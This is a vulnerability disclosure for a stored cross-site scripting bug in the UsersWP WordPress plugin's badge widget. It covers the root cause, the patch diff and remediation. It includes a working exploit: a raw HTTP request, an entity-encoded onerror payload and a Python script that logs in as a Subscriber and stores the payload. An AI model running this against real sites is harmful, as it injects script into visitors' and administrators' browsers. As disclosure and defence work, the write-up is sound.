Skip to content

CVE-2026-18501: UsersWP Badge Widget Stored XSS via Variable Substitution

TL;DR

  • I found an authenticated stored cross-site scripting vulnerability in UsersWP, a WordPress profile and members directory plugin.
  • A Subscriber could store an entity-encoded payload such as <img src=x onerror=alert(document.domain)> in an ordinary profile text field.
  • sanitize_text_field() preserves that value because it contains no literal < to strip.
  • The badge widget substituted the stored value into its label, then wp_specialchars_decode() turned the entities back into markup.
  • AUI output the decoded badge content without escaping, so the payload ran for visitors and administrators who loaded the affected badge.
  • The advisory covers UsersWP <= 1.2.69; the vendor released 1.2.70 as the fix for CVE-2026-18501.

Summary

UsersWP was vulnerable to authenticated stored cross-site scripting because the badge widget substituted raw profile values into its badge text and then ran wp_specialchars_decode() over the result, converting a Subscriber's entity-encoded payload back into live HTML before it was echoed unescaped.

  • CVE: CVE-2026-18501
  • Product: UsersWP
  • Active Installs: 20,000+
  • Vulnerability: Authenticated Stored Cross-Site Scripting
  • Affected Versions: <= 1.2.69
  • Fixed In: 1.2.70
  • CVSS Severity: 6.4 (medium)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Required Privilege: Subscriber+
  • NVD Published: August 6, 2026

UsersWP's badge widget and [uwp_user_badge] shortcode support admin-authored templates containing %%input%% or named profile-field tokens. The plugin decoded HTML entities after filling those templates, turning harmless stored text back into executable markup.

Introduction

[A]I ended up in the badge renderer because of an older bug. UsersWP 1.2.61 patched CVE-2026-5742 by sanitising URL fields and escaping badge-link substitutions, but the neighbouring badge-text path still accepted the same user data.

Profile text fields pass through sanitize_text_field(), so a literal tag should be gone before rendering. The interesting part was a later decode that ran after the user's value had already been inserted into the badge template.

Root Cause Analysis

Badge Template Variables

The "Badge" setting in widgets/user-badge.php documents how to insert user data into the label:

// widgets/user-badge.php
'desc' => __('Badge text. Leave blank to show field title as a badge, or use %%input%% to use the input value of the field or %%profile_url%% for the user profile url, or the field key for any other info %%email%%.', 'userswp'),

Badges containing %%input%% or named field tokens are documented functionality. The widget can render data from post_author, an explicit user ID, or the profile being viewed.

Profile Field Sanitisation

Account updates land in process_account() in includes/class-forms.php. A nonce and is_user_logged_in() gate the request, while the update target is bound to the current user. Validation then dispatches per field in includes/class-validation.php:

// includes/class-validation.php
case 'uwp_register_first_name':
case 'uwp_register_last_name':
case 'first_name':
case 'last_name':
    $sanitized_value = sanitize_text_field($value); // [1] Sanitises the profile name.
    $sanitized = true;
    break;

The Core implementation used at [1] enters the tag-stripping branch only when the value contains a literal <:

// wp-includes/formatting.php (_sanitize_text_fields)
if ( str_contains( $filtered, '<' ) ) {
    $filtered = wp_pre_kses_less_than( $filtered );
    // This will strip extra whitespace for us.
    $filtered = wp_strip_all_tags( $filtered, false );
    // ... newline handling omitted.
}

The payload contains no literal <, so this branch is skipped and the entity-encoded value is stored unchanged in uwp_usermeta.

Badge Text Substitution

uwp_get_user_badge() in includes/helpers/pages.php reads the stored value:

// includes/helpers/pages.php
$match_value = uwp_get_usermeta($user->ID, $field->htmlvar_name, ""); // [2] Reads the stored profile value.
// ... condition matching and option-label lookup omitted; neither escapes $match_value.
if( !empty( $badge ) && $badge = str_replace("%%input%%", $match_value,$badge) ){ // [3] Substitutes the value without escaping.
    // will be replace in condition check
}

[2] retrieves the attacker's stored value. [3] substitutes it without escaping. Named tokens are handled separately by uwp_replace_variables(), which loops over the usermeta row:

// includes/helpers/pages.php
foreach($user_data as $key => $val) {
    if ( ! in_array( $key, $excluded_fields ) ) {
        $val  = apply_filters( 'uwp_replace_variables_' . $key, $val, $text );
        $text = str_replace( '%%' . $key . '%%', $val, $text ); // [4] Every usermeta column, substituted raw.
    }
}

At [4], any %%field_name%% token can substitute the matching usermeta column. The exclusion list contains only password, confirm_password and user_privacy. The substituted value remains entity encoded.

Entity Decoding

After substitution, the function decodes the badge:

// includes/helpers/pages.php
$badge = ! empty( $badge ) ? __( wp_specialchars_decode( $badge, ENT_QUOTES ), 'userswp' ) : ''; // [5] Entities turned back into markup.

At [5], wp_specialchars_decode() converts the encoded angle brackets back to literal characters. The __() wrapper performs translation lookup and does not escape the result.

This lets entities in the administrator's template render as characters, but it also decodes profile data already inserted into the same string.

The stored value &lt;img src=x onerror=alert(document.domain)&gt; becomes <img src=x onerror=alert(document.domain)>.

AUI Output

The decoded badge is passed to the AyeCode UI component as content:

// includes/helpers/pages.php
$btn_args = array(
    'class'     => $btn_class,
    'content' => $badge, // [6] Passes the decoded badge as component content.
    'style' => $color_custom ? 'background-color:' . sanitize_hex_color( $args['bg_color'] ) . ';color:' . sanitize_hex_color( $args['txt_color'] ) . ';' : '',
    'data-badge'    => esc_attr($match_field),
    'data-badge-condition'  => esc_attr($args['condition']),
);
// ... popover, tooltip and style handling omitted.
$output .= aui()->badge( $btn_args );

The colour values use sanitize_hex_color() and both data attributes use esc_attr(). The $badge assignment at [6] has no equivalent escaping.

aui()->badge() calls AUI_Component_Button::get(), which builds the markup by concatenation:

// class-aui-component-button.php
// content
if($hover_content){$output .= "<span class='hover-content-original'>";}
if(!empty($args['content']) || !empty($args['icon'])){
    $output .= AUI_Component_Helper::icon($args['icon'],$args['content'],$args['icon_extra_attributes']).$args['content']; // [7] Appends content to the response.
}

At [7], $args['content'] is appended to the response without esc_html() or wp_kses(). The browser parses the resulting <img> element and executes its onerror handler.

Impact

I confirmed arbitrary JavaScript execution in the browser of anyone who loads a page containing an affected badge, logged-out visitors and administrators included.

A Subscriber can store the payload in their First Name. It executes when another user views a badge on that profile, including members and administrators moderating accounts.

Exploitation

Preconditions

  • UsersWP <= 1.2.69 is active and user registration is enabled, or the attacker otherwise holds a Subscriber account.
  • The account form exposes at least one text field the attacker can edit. First Name is present by default.
  • An administrator has set up a badge widget, block, or [uwp_user_badge] shortcode whose badge text contains %%input%% or a named token for a user-writable text field. The widget documents this setup, but it is not enabled by default.

Manual Request

The account form posts back to the UsersWP account page, so the payload goes in as an ordinary profile update. Load the account page first to pick up a uwp_account_nonce, then submit:

POST /?page_id=6 HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<subscriber session>
Content-Type: application/x-www-form-urlencoded

uwp_account_nonce=<nonce>&uwp_account_submit=Update+Account&first_name=%26lt%3Bimg+src%3Dx+onerror%3Dalert(document.domain)%26gt%3B&last_name=Test&display_name=attacker&email=attacker%40test.local&bio=test

The first_name value decodes to &lt;img src=x onerror=alert(document.domain)&gt;. After the plugin returns its normal "Account updated successfully" notice, the entity-encoded string is stored in uwp_usermeta.

The account form renders the field through esc_attr(), which does not double-encode existing entities. The input therefore displays <img src=x onerror=alert(document.domain)> as plain text.

PoC

This storage helper logs in as a Subscriber, reads the account nonce, writes the payload, and verifies the exact value on the next page load. Set --account-path if the account page is not /?page_id=6.

#!/usr/bin/env python3
import argparse
import re
import sys
from html import unescape
from urllib.parse import urljoin

import requests

PAYLOAD = "&lt;img src=x onerror=alert(document.domain)&gt;"


def arguments():
    p = argparse.ArgumentParser(description="UsersWP badge variable substitution stored XSS")
    p.add_argument("--url", required=True, help="WordPress site root URL")
    p.add_argument("--username", required=True, help="Attacker subscriber username")
    p.add_argument("--password", required=True, help="Attacker subscriber password")
    p.add_argument("--account-path", default="/?page_id=6")
    p.add_argument("--field", default="first_name")
    p.add_argument("--payload", default=PAYLOAD)
    return p.parse_args()


def main():
    args = arguments()
    base = args.url.rstrip("/")
    account_url = urljoin(base + "/", args.account_path)
    session = requests.Session()

    session.post(
        base + "/wp-login.php",
        data={
            "log": args.username,
            "pwd": args.password,
            "wp-submit": "Log In",
            "redirect_to": account_url,
            "testcookie": "1",
        },
        headers={"Cookie": "wordpress_test_cookie=WP%20Cookie%20check"},
    )
    if not any(c.name.startswith("wordpress_logged_in") for c in session.cookies):
        sys.exit("[-] Login failed. Check credentials.")
    print(f"[+] Logged in as {args.username}")

    account_page = session.get(account_url).text
    nonce = re.search(r'name="uwp_account_nonce"\s+value="([^"]+)"', account_page)
    if not nonce:
        sys.exit("[-] Could not extract uwp_account_nonce.")

    form = {"uwp_account_nonce": nonce.group(1), "uwp_account_submit": "Update Account"}
    for name in ("first_name", "last_name", "display_name", "email"):
        current = re.search(r'name="%s"[^>]*value="([^"]*)"' % name, account_page)
        form[name] = unescape(current.group(1)) if current else ""
    bio = re.search(r'name="bio"[^>]*>(.*?)</textarea', account_page, re.DOTALL)
    form["bio"] = unescape(bio.group(1).strip()) if bio else "user bio"
    form[args.field] = args.payload
    print(f"[*] Storing payload in '{args.field}': {args.payload}")

    update = session.post(account_url, data=form)
    if "alert-danger" in update.text:
        sys.exit("[-] Account update rejected.")

    stored = re.search(r'name="%s"[^>]*value="([^"]*)"' % args.field, session.get(account_url).text)
    if not stored or args.payload not in stored.group(1):
        sys.exit("[-] Exact payload was not present after the update.")
    print(f"[+] Stored: {stored.group(1)}")
    print(f"[+] Visit a badge using %%input%% or %%{args.field}%% to trigger it.")


if __name__ == "__main__":
    main()

Running it against a local instance:

python3 userswp-badge-variable-xss.py \
  --url http://localhost:8090 \
  --username subscriber \
  --password 'subscriber123'
[+] Logged in as subscriber
[*] Storing payload in 'first_name': &lt;img src=x onerror=alert(document.domain)&gt;
[+] Stored: &lt;img src=x onerror=alert(document.domain)&gt;
[+] Visit a badge using %%input%% or %%first_name%% to trigger it.

The helper proves storage only. Execution begins when a victim loads a page carrying the affected badge.

Demo

On a page carrying the badge, the decoded tag appears in the response and the onerror handler executes. Unrelated classes and attributes are omitted here:

<span class="badge badge-condition ...">
    <img src="x" onerror="alert(document.domain)" />
</span>

XSS alert pops in Admin's browser when they view the user profile containing the malicious badget

Patch Diffing

The fix landed in commit e9b72c7, "Badge Widget Variable Substitution fixed", and shipped in UsersWP 1.2.70 on August 3, 2026. The changelog entry is one line:

Badge Widget Variable Substitution - FIXED/SECURITY

The patch moves the decode ahead of substitution and escapes the inserted values:

// includes/helpers/pages.php
 if ( empty( $badge ) && empty($args['icon_class']) ) {
     $badge = isset($field->site_title) ? $field->site_title : '';
 }
-if( !empty( $badge ) && $badge = str_replace("%%input%%", $match_value,$badge) ){
+// Decode entities in the admin-authored template text now, before any
+// untrusted user values are substituted in below. Decoding after
+// substitution would undo the escaping applied to those values.
+if ( ! empty( $badge ) ) {
+    $badge = wp_specialchars_decode( $badge, ENT_QUOTES );
+}
+if( !empty( $badge ) && $badge = str_replace("%%input%%", esc_html( (string) $match_value ), $badge) ){
     // will be replace in condition check
 }
-if( !empty( $badge ) && $user_id && $badge = str_replace("%%profile_url%%", uwp_build_profile_tab_url($user_id),$badge) ){
+if( !empty( $badge ) && $user_id && $badge = str_replace("%%profile_url%%", esc_url( uwp_build_profile_tab_url($user_id) ),$badge) ){
     // will be replace in condition check
 }

The patch removes the post-substitution decode:

// includes/helpers/pages.php
-$badge = ! empty( $badge ) ? __( wp_specialchars_decode( $badge, ENT_QUOTES ), 'userswp' ) : '';
+$badge = ! empty( $badge ) ? __( $badge, 'userswp' ) : '';

uwp_replace_variables() now escapes scalar values before substitution:

// includes/helpers/pages.php
 foreach($user_data as $key => $val) {
     if ( ! in_array( $key, $excluded_fields ) ) {
         $val  = apply_filters( 'uwp_replace_variables_' . $key, $val, $text );
+        if ( is_scalar( $val ) ) {
+            $val = esc_html( (string) $val );
+        }
         $text = str_replace( '%%' . $key . '%%', $val, $text );
     }
 }

For badge content, the template is decoded before %%input%% and named profile values are escaped and inserted. No later decode reverses that escaping.

The patch does not change AUI output. 'content' => $badge still reaches the component without output escaping, so every value inserted into $badge must already be safe for HTML content.

Remediation

Update UsersWP to version 1.2.70 or later, the vendor and advisory remediation for CVE-2026-18501.

If you cannot update immediately, strip %%input%% and any %%field_name%% tokens out of your badge widgets and [uwp_user_badge] shortcodes. A badge showing a static label or the field title never reaches the vulnerable substitution.

The fix for this badge-content path happens at render time, so an existing text-field payload is displayed as text after the update. It remains stored until the user edits that field, so sites that ran a vulnerable release should still inspect profile data for entity-encoded tags.

Disclosure Timeline

  • May 22, 2026: Submitted to the Wordfence bug bounty program.
  • July 31, 2026: Report validated and CVE-2026-18501 assigned.
  • August 3, 2026: UsersWP 1.2.70 released, escaping the substituted values and moving the entity decode ahead of substitution.
  • August 6, 2026: Published by Wordfence and indexed by NVD.
  • August 14, 2026: $72 bounty awarded.

Conclusion

sanitize_text_field() preserved the encoded angle brackets as text. After variable substitution, the renderer decoded those entities and passed the resulting markup to AUI without output escaping.

The earlier link fix missed a badge-text substitution using the same value only a few lines away.

References